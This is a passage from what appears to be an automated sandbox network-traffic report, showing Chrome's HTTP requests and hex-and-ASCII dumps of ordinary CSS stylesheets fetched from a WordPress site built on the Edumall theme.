6d 61 6c 6c 2d 70 6f 72 74 66 6f 6c 69 6f 2d 63 61 72 6f 75 73 65 6c 2d 30 31 20 2e 70 6f 73 74 Data Ascii: l-nice-select,.edumall-nice-select-wrap .edumall-nice-select-current,.edumall-popup-video-button-effect-wave-pulse .video-button-mask,.edumall-popup .button-close-popup,.edumall-popup.open,.edumall-popup .popup-content,.edumall-portfolio-carousel-01 .post
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 6e 2c 2e 65 6c 65 6d 65 6e 74 6f 72 2d 77 69 64 67 65 74 2d 74 6d 2d 69 63 6f 6e 2d 62 6f 78 20 2e 74 6d 2d 69 63 6f 6e 2d 62 6f 78 2c 2e 65 6c 65 6d 65 6e 74 6f 72 2d 77 69 64 67 65 74 2d 74 6d 2d 69 63 6f 6e 2d 62 6f 78 20 2e 74 6d 2d 69 63 6f 6e 2d 62 6f 78 3a 62 65 66 6f 72 65 2c 2e 65 6c 65 6d 65 6e 74 6f 72 2d 77 69 64 67 65 74 2d 74 6d 2d 69 6d 61 67 65 2d 63 61 72 6f 75 73 65 6c 20 2e 69 6d 61 67 65 20 69 6d 67 2c 2e 66 75 6c 6c 2d 70 61 67 65 2d 6e 75 6d 62 65 72 73 2c 2e 66 75 6c 6c 2d 70 61 67 65 2d 6e 75 6d 62 65 72 73 20 2e 6e 75 6d 62 65 72 73 20 2e 74 6f 74 61 6c 3a 62 65 66 6f 72 65 2c 2e 66 75 6c 6c 2d 70 61 67 65 2d 73 68 61 72 65 2d 6c 69 73 74 20 2e 73 74 61 6c 6b 2c 2e 66 75 6c 6c 2d 70 61 67 65 2d 73 68 61 72 65 2d 6c 69 73 74 20 2e Data Ascii: n,.elementor-widget-tm-icon-box .tm-icon-box,.elementor-widget-tm-icon-box .tm-icon-box:before,.elementor-widget-tm-image-carousel .image img,.full-page-numbers,.full-page-numbers .numbers .total:before,.full-page-share-list .stalk,.full-page-share-list .
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 66 6f 72 65 2c 2e 73 65 6c 65 63 74 32 2d 63 6f 6e 74 61 69 6e 65 72 2e 73 65 6c 65 63 74 32 2d 63 6f 6e 74 61 69 6e 65 72 2e 73 65 6c 65 63 74 32 2d 63 6f 6e 74 61 69 6e 65 72 2d 2d 64 65 66 61 75 6c 74 20 2e 73 65 6c 65 63 74 32 2d 73 65 6c 65 63 74 69 6f 6e 2d 2d 6d 75 6c 74 69 70 6c 65 2c 2e 73 69 6e 67 6c 65 2d 70 6f 72 74 66 6f 6c 69 6f 20 2e 74 6d 2d 73 74 69 63 6b 79 2d 63 6f 6c 75 6d 6e 2c 2e 73 69 74 65 2c 2e 73 76 67 2d 64 65 66 73 2d 67 72 61 64 69 65 6e 74 20 2e 73 74 6f 70 2d 61 2c 2e 73 76 67 2d 64 65 66 73 2d 67 72 61 64 69 65 6e 74 20 2e 73 74 6f 70 2d 62 2c 2e 73 77 69 74 63 68 65 72 2d 6c 61 6e 67 75 61 67 65 2d 77 72 61 70 70 65 72 20 2e 77 70 6d 6c 2d 6c 73 20 2e 77 70 6d 6c 2d 6c 73 2d 73 75 62 2d 6d 65 6e 75 2c 2e 74 6d 2d 62 75 74 Data Ascii: fore,.select2-container.select2-container.select2-container--default .select2-selection--multiple,.single-portfolio .tm-sticky-column,.site,.svg-defs-gradient .stop-a,.svg-defs-gradient .stop-b,.switcher-language-wrapper .wpml-ls .wpml-ls-sub-menu,.tm-but
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 6e 70 75 74 5b 74 79 70 65 3d 62 75 74 74 6f 6e 5d 2c 69 6e 70 75 74 5b 74 79 70 65 3d 63 68 65 63 6b 62 6f 78 5d 3a 61 66 74 65 72 2c 69 6e 70 75 74 5b 74 79 70 65 3d 63 68 65 63 6b 62 6f 78 5d 3a 62 65 66 6f 72 65 2c 69 6e 70 75 74 5b 74 79 70 65 3d 65 6d 61 69 6c 5d 2c 69 6e 70 75 74 5b 74 79 70 65 3d 6e 75 6d 62 65 72 5d 2c 69 6e 70 75 74 5b 74 79 70 65 3d 70 61 73 73 77 6f 72 64 5d 2c 69 6e 70 75 74 5b 74 79 70 65 3d 72 65 73 65 74 5d 2c 69 6e 70 75 74 5b 74 79 70 65 3d 73 65 61 72 63 68 5d 2c 69 6e 70 75 74 5b 74 79 70 65 3d 73 75 62 6d 69 74 5d 2c 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 6c 5d 2c 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 78 74 5d 2c 69 6e 70 75 74 5b 74 79 70 65 3d 75 72 6c 5d 2c 73 65 6c 65 63 74 2c 74 65 78 74 61 72 65 61 7b 2d 77 65 Data Ascii: nput[type=button],input[type=checkbox]:after,input[type=checkbox]:before,input[type=email],input[type=number],input[type=password],input[type=reset],input[type=search],input[type=submit],input[type=tel],input[type=text],input[type=url],select,textarea{-we
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 74 2d 74 65 78 74 20 61 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 65 64 75 6d 61 6c 6c 2d 62 6c 6f 67 20 2e 70 6f 73 74 2d 6f 76 65 72 6c 61 79 2d 6d 65 74 61 20 61 3a 61 66 74 65 72 2c 2e 65 6e 74 72 79 2d 70 6f 72 74 66 6f 6c 69 6f 2d 64 65 74 61 69 6c 73 20 61 3a 61 66 74 65 72 2c 2e 69 6e 73 69 67 68 74 5f 63 6f 72 65 5f 62 72 65 61 64 63 72 75 6d 62 20 61 3a 61 66 74 65 72 2c 2e 74 6d 2d 74 77 69 74 74 65 72 2e 73 74 79 6c 65 2d 6c 69 73 74 20 2e 74 77 65 65 74 20 2e 74 77 65 65 74 2d 74 65 78 74 20 61 3a 61 66 74 65 72 7b 63 6f 6e 74 65 6e 74 3a 22 22 3b 77 69 64 74 68 3a 30 3b 68 65 69 67 68 74 3a 31 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6c 65 66 74 3a 61 75 74 6f 3b 72 69 67 68 74 3a 30 3b 62 6f 74 74 6f Data Ascii: t-text a{position:relative}.edumall-blog .post-overlay-meta a:after,.entry-portfolio-details a:after,.insight_core_breadcrumb a:after,.tm-twitter.style-list .tweet .tweet-text a:after{content:"";width:0;height:1px;position:absolute;left:auto;right:0;botto
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 74 6f 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 46 6f 6e 74 20 41 77 65 73 6f 6d 65 5c 20 35 20 50 72 6f 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 39 30 30 7d 2e 62 6c 6f 67 2d 6e 61 76 2d 6c 69 6e 6b 73 20 2e 69 6e 6e 65 72 20 68 36 3a 62 65 66 6f 72 65 2c 2e 64 69 61 6c 6f 67 2d 77 69 64 67 65 74 20 2e 64 69 61 6c 6f 67 2d 63 6c 6f 73 65 2d 62 75 74 74 6f 6e 20 69 2c 2e 65 64 75 6d 61 6c 6c 2d 66 61 71 73 2d 6c 69 73 74 20 2e 70 6f 73 74 2d 64 61 74 65 3a 62 65 66 6f 72 65 2c 2e 65 64 75 6d 61 6c 6c 2d 6d 61 69 6c 63 68 69 6d 70 2d 66 6f 72 6d 20 2e 62 75 74 74 6f 6e 2d 69 63 6f 6e 2c 2e 65 64 75 6d 61 6c 6c 2d 70 6f 70 75 70 20 2e 62 75 74 74 6f 6e 2d 63 6c 6f 73 65 2d 70 6f 70 75 70 2c 2e 65 6c 65 6d 65 6e 74 6f 72 Data Ascii: to;line-height:1;font-family:Font Awesome\ 5 Pro;font-weight:900}.blog-nav-links .inner h6:before,.dialog-widget .dialog-close-button i,.edumall-faqs-list .post-date:before,.edumall-mailchimp-form .button-icon,.edumall-popup .button-close-popup,.elementor
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 2c 69 6e 70 75 74 5b 74 79 70 65 3d 63 68 65 63 6b 62 6f 78 5d 3a 61 66 74 65 72 7b 2d 6d 6f 7a 2d 6f 73 78 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 67 72 61 79 73 63 61 6c 65 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 64 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 76 61 72 69 61 6e 74 3a 6e 6f 72 6d 61 6c 3b 74 65 78 74 2d 72 65 6e 64 65 72 69 6e 67 3a 61 75 74 6f 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 46 6f 6e 74 20 41 77 65 73 6f 6d 65 5c 20 35 20 50 72 6f 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 6d 6f 2d 6f 70 65 6e 69 64 2d 61 70 70 2d 69 63 Data Ascii: ,input[type=checkbox]:after{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:inline-block;font-style:normal;font-variant:normal;text-rendering:auto;line-height:1;font-family:Font Awesome\ 5 Pro;font-weight:400}.mo-openid-app-ic
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 72 69 74 7d 68 74 6d 6c 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 2d 6d 73 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 64 3b 2d 6d 6f 7a 2d 6f 73 78 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 67 72 61 79 73 63 61 6c 65 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 7d 61 72 74 69 63 6c 65 2c 61 73 69 64 65 2c 64 65 74 61 69 6c 73 2c 66 69 67 63 61 70 74 69 6f 6e 2c 66 69 67 75 72 65 2c 66 6f 6f 74 65 72 2c 68 65 61 64 65 72 2c 6d 61 69 6e 2c 6d 65 6e Data Ascii: rit}html{box-sizing:border-box;font-family:sans-serif;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}body{margin:0}article,aside,details,figcaption,figure,footer,header,main,men

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.17	49721	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:36 UTC	616	OUT	GET /wp-content/themes/edumall/assets/libs/perfect-scrollbar/css/perfect-scrollbar.min.css HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:37 UTC	924	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:37 GMT Content-Type: text/css; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e506f62440e-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"60df32df-1217" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:07 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CC3LVCMmVMsXfydJXNHIoZSdjkAAPuxvFRzv5cuROAsIaAihldzR8I3iIpl5YmIsrqtF90U6Z1OfxLgFe1945ux4OUBVs%2F7JBu92bu5k4RKL1Uoqwkp%2Fyih05hfkexlYv6I%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:37 UTC	445	IN	Data Raw: 31 32 31 37 0d 0a 2f 2a 20 70 65 72 66 65 63 74 2d 73 63 72 6f 6c 6c 62 61 72 20 76 30 2e 36 2e 31 34 20 2a 2f 0d 0a 2e 70 73 2d 63 6f 6e 74 61 69 6e 65 72 7b 2d 6d 73 2d 74 6f 75 63 68 2d 61 63 74 69 6f 6e 3a 61 75 74 6f 3b 74 6f 75 63 68 2d 61 63 74 69 6f 6e 3a 61 75 74 6f 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 20 21 69 6d 70 6f 72 74 61 6e 74 3b 2d 6d 73 2d 6f 76 65 72 66 6c 6f 77 2d 73 74 79 6c 65 3a 6e 6f 6e 65 7d 40 73 75 70 70 6f 72 74 73 20 28 2d 6d 73 2d 6f 76 65 72 66 6c 6f 77 2d 73 74 79 6c 65 3a 20 6e 6f 6e 65 29 7b 2e 70 73 2d 63 6f 6e 74 61 69 6e 65 72 7b 6f 76 65 72 66 6c 6f 77 3a 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 Data Ascii: 1217/* perfect-scrollbar v0.6.14 */.ps-container{-ms-touch-action:auto;touch-action:auto;overflow:hidden !important;-ms-overflow-style:none}@supports (-ms-overflow-style: none){.ps-container{overflow:auto !important}}@media screen and (-ms-high-contra
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 7d 2e 70 73 2d 63 6f 6e 74 61 69 6e 65 72 2e 70 73 2d 69 6e 2d 73 63 72 6f 6c 6c 69 6e 67 2e 70 73 2d 78 3e 2e 70 73 2d 73 63 72 6f 6c 6c 62 61 72 2d 78 2d 72 61 69 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 65 65 3b 6f 70 61 63 69 74 79 3a 2e 39 7d 2e 70 73 2d 63 6f 6e 74 61 69 6e 65 72 2e 70 73 2d 69 6e 2d 73 63 72 6f 6c 6c 69 6e 67 2e 70 73 2d 78 3e 2e 70 73 2d 73 63 72 6f 6c 6c 62 61 72 2d 78 2d 72 61 69 6c 3e 2e 70 73 2d 73 63 72 6f 6c 6c 62 61 72 2d 78 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 39 39 39 3b 68 65 69 67 68 74 3a 31 31 70 78 7d 2e 70 73 2d 63 6f 6e 74 61 69 6e 65 72 2e 70 73 2d 69 6e 2d 73 63 72 6f 6c 6c 69 6e 67 2e 70 73 2d 79 Data Ascii: kground-color:transparent}.ps-container.ps-in-scrolling.ps-x>.ps-scrollbar-x-rail{background-color:#eee;opacity:.9}.ps-container.ps-in-scrolling.ps-x>.ps-scrollbar-x-rail>.ps-scrollbar-x{background-color:#999;height:11px}.ps-container.ps-in-scrolling.ps-y
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 6f 75 74 2c 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 20 2e 32 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 2c 20 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 20 2e 32 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 20 2e 32 73 20 6c 69 6e 65 61 72 2c 20 68 65 69 67 68 74 20 2e 32 73 20 6c 69 6e 65 61 72 2c 20 77 69 64 74 68 20 2e 32 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 2c 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 20 2e 32 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 20 2e 32 73 20 6c 69 6e 65 61 72 2c 20 68 65 69 67 68 74 20 2e 32 73 20 6c 69 6e 65 61 72 2c 20 77 69 64 74 68 20 2e 32 73 20 65 61 73 Data Ascii: out, border-radius .2s ease-in-out, -moz-border-radius .2s ease-in-out;transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out;transition:background-color .2s linear, height .2s linear, width .2s eas
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 73 20 2e 32 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 2d 6d 6f 7a 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 20 2e 32 73 20 6c 69 6e 65 61 72 2c 20 68 65 69 67 68 74 20 2e 32 73 20 6c 69 6e 65 61 72 2c 20 77 69 64 74 68 20 2e 32 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 2c 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 20 2e 32 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 2c 20 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 20 2e 32 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 20 2e 32 73 20 6c 69 6e 65 61 72 2c 20 68 65 69 67 68 74 20 2e 32 73 20 6c 69 6e 65 61 72 2c 20 77 69 64 74 68 20 2e 32 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 2c 20 62 6f Data Ascii: s .2s ease-in-out;-moz-transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out, -moz-border-radius .2s ease-in-out;transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, bo
2024-04-11 21:26:37 UTC	87	IN	Data Raw: 73 2d 63 6f 6e 74 61 69 6e 65 72 3a 68 6f 76 65 72 3e 2e 70 73 2d 73 63 72 6f 6c 6c 62 61 72 2d 79 2d 72 61 69 6c 3a 68 6f 76 65 72 3e 2e 70 73 2d 73 63 72 6f 6c 6c 62 61 72 2d 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 39 39 39 7d 0d 0a 0d 0a Data Ascii: s-container:hover>.ps-scrollbar-y-rail:hover>.ps-scrollbar-y{background-color:#999}
2024-04-11 21:26:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.17	49722	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:36 UTC	607	OUT	GET /wp-content/themes/edumall/assets/libs/perfect-scrollbar/css/custom-theme.css HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:37 UTC	924	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:37 GMT Content-Type: text/css; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e508dda7c90-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"60df32df-1092" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:07 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=odSCSAE56lhunmzHxwTmwSeuYt6xvsoN34S5EWcbutBeGVznIC%2Fv0FNkaTAIrb0jBSbaytph0vmwwETIMsZFXVKtdRen%2BzJKn5tXsGBN7a2wf31xDzb5nvWkYcKSrhXW5OA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:37 UTC	445	IN	Data Raw: 31 30 39 32 0d 0a 2e 70 73 2d 74 68 65 6d 65 2d 77 6f 6f 73 77 20 7b 0d 0a 20 20 20 20 2d 6d 73 2d 74 6f 75 63 68 2d 61 63 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0d 0a 20 20 20 20 74 6f 75 63 68 2d 61 63 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0d 0a 20 20 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 20 20 20 20 2d 6d 73 2d 6f 76 65 72 66 6c 6f 77 2d 73 74 79 6c 65 3a 20 6e 6f 6e 65 3b 0d 0a 7d 0d 0a 0d 0a 40 73 75 70 70 6f 72 74 73 20 28 2d 6d 73 2d 6f 76 65 72 66 6c 6f 77 2d 73 74 79 6c 65 3a 20 6e 6f 6e 65 29 20 7b 0d 0a 20 20 20 20 2e 70 73 2d 74 68 65 6d 65 2d 77 6f 6f 73 77 20 7b 0d 0a 20 20 20 20 20 20 20 20 6f 76 65 72 66 6c 6f 77 3a 20 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 20 20 20 20 7d 0d 0a Data Ascii: 1092.ps-theme-woosw { -ms-touch-action: none; touch-action: none; overflow: hidden !important; -ms-overflow-style: none;}@supports (-ms-overflow-style: none) { .ps-theme-woosw { overflow: auto !important; }
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 6c 6c 62 61 72 2d 78 2d 72 61 69 6c 2c 0d 0a 2e 70 73 2d 74 68 65 6d 65 2d 77 6f 6f 73 77 2e 70 73 2d 61 63 74 69 76 65 2d 79 20 3e 20 2e 70 73 2d 73 63 72 6f 6c 6c 62 61 72 2d 79 2d 72 61 69 6c 20 7b 0d 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 0d 0a 7d 0d 0a 0d 0a 2e 70 73 2d 74 68 65 6d 65 2d 77 6f 6f 73 77 2e 70 73 2d 69 6e 2d 73 63 72 6f 6c 6c 69 6e 67 20 7b 0d 0a 20 20 20 20 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 20 6e 6f 6e 65 3b 0d 0a 7d 0d 0a 0d 0a 2e 70 73 2d 74 68 65 6d 65 2d 77 6f 6f 73 77 2e 70 73 2d 69 6e 2d 73 63 72 6f 6c 6c 69 6e 67 2e 70 73 2d 78 20 3e 20 2e 70 73 2d 73 63 72 6f 6c 6c 62 61 72 2d 78 2d 72 61 Data Ascii: llbar-x-rail,.ps-theme-woosw.ps-active-y > .ps-scrollbar-y-rail { display: block; background-color: transparent;}.ps-theme-woosw.ps-in-scrolling { pointer-events: none;}.ps-theme-woosw.ps-in-scrolling.ps-x > .ps-scrollbar-x-ra
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 32 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 0d 0a 20 20 20 20 62 6f 74 74 6f 6d 3a 20 30 3b 0d 0a 20 20 20 20 2f 2a 20 74 68 65 72 65 20 6d 75 73 74 20 62 65 20 27 62 6f 74 74 6f 6d 27 20 66 6f 72 20 70 73 2d 73 63 72 6f 6c 6c 62 61 72 2d 78 20 2a 2f 0d 0a 20 20 20 20 68 65 69 67 68 74 3a 20 36 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 33 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 7d 0d 0a 0d 0a 2e 70 73 2d 74 68 65 6d 65 2d 77 6f 6f 73 77 20 3e 20 2e 70 73 2d 73 63 72 6f 6c 6c 62 61 72 2d 78 2d 72 61 69 6c 3a 68 6f 76 65 72 20 3e 20 2e 70 73 2d 73 63 72 6f 6c 6c 62 61 72 2d 78 2c 20 2e 70 73 2d 74 68 65 6d 65 2d 77 6f 6f 73 77 20 3e 20 2e 70 73 2d 73 63 72 6f 6c 6c 62 61 72 2d 78 2d 72 Data Ascii: 2s ease-in-out; bottom: 0; /* there must be 'bottom' for ps-scrollbar-x */ height: 6px !important; border-radius: 3px !important;}.ps-theme-woosw > .ps-scrollbar-x-rail:hover > .ps-scrollbar-x, .ps-theme-woosw > .ps-scrollbar-x-r
2024-04-11 21:26:37 UTC	1067	IN	Data Raw: 0d 0a 2e 70 73 2d 74 68 65 6d 65 2d 77 6f 6f 73 77 3a 68 6f 76 65 72 2e 70 73 2d 69 6e 2d 73 63 72 6f 6c 6c 69 6e 67 2e 70 73 2d 78 20 3e 20 2e 70 73 2d 73 63 72 6f 6c 6c 62 61 72 2d 78 2d 72 61 69 6c 20 7b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 2e 35 38 29 3b 0d 0a 7d 0d 0a 0d 0a 2e 70 73 2d 74 68 65 6d 65 2d 77 6f 6f 73 77 3a 68 6f 76 65 72 2e 70 73 2d 69 6e 2d 73 63 72 6f 6c 6c 69 6e 67 2e 70 73 2d 78 20 3e 20 2e 70 73 2d 73 63 72 6f 6c 6c 62 61 72 2d 78 2d 72 61 69 6c 20 3e 20 2e 70 73 2d 73 63 72 6f 6c 6c 62 61 72 2d 78 20 7b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 2e 35 38 29 3b 0d 0a 20 20 20 20 68 65 Data Ascii: .ps-theme-woosw:hover.ps-in-scrolling.ps-x > .ps-scrollbar-x-rail { background-color: rgba(0, 0, 0, .58);}.ps-theme-woosw:hover.ps-in-scrolling.ps-x > .ps-scrollbar-x-rail > .ps-scrollbar-x { background-color: rgba(0, 0, 0, .58); he
2024-04-11 21:26:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.17	49723	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:36 UTC	599	OUT	GET /wp-content/themes/edumall/assets/libs/growl/css/jquery.growl.min.css HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
